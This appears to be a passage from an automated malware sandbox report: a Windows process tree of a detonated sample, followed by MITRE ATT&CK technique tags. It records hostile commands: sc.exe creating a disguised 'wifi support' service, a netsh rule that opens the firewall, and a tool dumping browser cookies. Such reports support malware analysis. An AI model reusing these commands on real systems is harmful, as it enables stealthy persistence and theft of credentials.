C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
5⤵
PID:5948

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4176

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:5744

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5856

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:3980

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:5720

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:6064

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5144

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5788

C:\Users\Admin\AppData\Local\Temp\5006.exe
C:\Users\Admin\AppData\Local\Temp\5006.exe
1⤵
PID:4088

C:\Users\Admin\AppData\Local\Temp\522A.exe
C:\Users\Admin\AppData\Local\Temp\522A.exe
1⤵
PID:5044

C:\Users\Admin\AppData\Local\Temp\62D5.exe
C:\Users\Admin\AppData\Local\Temp\62D5.exe
1⤵
- Executes dropped EXE
PID:4132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4132 -s 868
2⤵
- Program crash
PID:6120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4132 -s 896
2⤵
- Program crash
PID:3216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4132 -s 924
2⤵
- Program crash
PID:5004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4132 -s 976
2⤵
- Program crash
PID:5600

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4132 -s 1088
2⤵
- Program crash
PID:5964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4132 -s 976
2⤵
- Program crash
PID:5044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4132 -s 1136
2⤵
- Program crash
PID:2808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4132 -s 1192
2⤵
- Program crash
PID:5304

C:\Users\Admin\AppData\Local\Temp\65C4.exe
C:\Users\Admin\AppData\Local\Temp\65C4.exe
1⤵
PID:5540

C:\Users\Admin\AppData\Local\Temp\6930.exe
C:\Users\Admin\AppData\Local\Temp\6930.exe
1⤵
PID:2208

C:\Users\Admin\AppData\Local\Temp\6F3C.exe
C:\Users\Admin\AppData\Local\Temp\6F3C.exe
1⤵
PID:4088

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:2664

C:\Users\Admin\AppData\Local\Temp\725A.exe
C:\Users\Admin\AppData\Local\Temp\725A.exe
1⤵
PID:4284

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ivyfvpbh\
2⤵
PID:4724

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nvkobzii.exe" C:\Windows\SysWOW64\ivyfvpbh\
2⤵
PID:5944

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" create ivyfvpbh binPath= "C:\Windows\SysWOW64\ivyfvpbh\nvkobzii.exe /d\"C:\Users\Admin\AppData\Local\Temp\725A.exe\"" type= own start= auto DisplayName= "wifi support"
2⤵
PID:2124

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" description ivyfvpbh "wifi internet conection"
2⤵
PID:5116

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start ivyfvpbh
2⤵
PID:5480

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
2⤵
PID:4300

C:\Users\Admin\cbprfcdv.exe
"C:\Users\Admin\cbprfcdv.exe" /d"C:\Users\Admin\AppData\Local\Temp\725A.exe"
2⤵
PID:2180

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iccteneg.exe" C:\Windows\SysWOW64\ivyfvpbh\
3⤵
PID:5532

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" config ivyfvpbh binPath= "C:\Windows\SysWOW64\ivyfvpbh\iccteneg.exe /d\"C:\Users\Admin\cbprfcdv.exe\""
3⤵
PID:1268

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start ivyfvpbh
3⤵
PID:5612

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
3⤵
PID:4192

C:\Users\Admin\AppData\Local\Temp\7E22.exe
C:\Users\Admin\AppData\Local\Temp\7E22.exe
1⤵
PID:1304

C:\Users\Admin\AppData\Local\Temp\647349126.exe
"C:\Users\Admin\AppData\Local\Temp\647349126.exe"
2⤵
PID:4928

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:5356

C:\Users\Admin\AppData\Local\Temp\1371397063.exe
"C:\Users\Admin\AppData\Local\Temp\1371397063.exe"
2⤵
PID:4740

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:5916

C:\Users\Admin\AppData\Local\Temp\8131.exe
C:\Users\Admin\AppData\Local\Temp\8131.exe
1⤵
PID:4332

C:\Users\Admin\AppData\Local\Temp\8529.exe
C:\Users\Admin\AppData\Local\Temp\8529.exe
1⤵
PID:1084

C:\Users\Admin\AppData\Local\Temp\8F6B.exe
C:\Users\Admin\AppData\Local\Temp\8F6B.exe
1⤵
PID:5600

C:\Users\Admin\AppData\Local\Temp\A5A4.exe
C:\Users\Admin\AppData\Local\Temp\A5A4.exe
1⤵
PID:4100

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:2820

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:3304

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:4416

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
2⤵
PID:4836

C:\Windows\SysWOW64\ivyfvpbh\iccteneg.exe
C:\Windows\SysWOW64\ivyfvpbh\iccteneg.exe /d"C:\Users\Admin\cbprfcdv.exe"
1⤵
PID:4300

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

New Service

T1050

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

BITS Jobs

T1197

Privilege Escalation

New Service

T1050

Defense Evasion

Modify Registry

BITS Jobs

T1197

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Software Discovery

T1518

Query Registry

System Information Discovery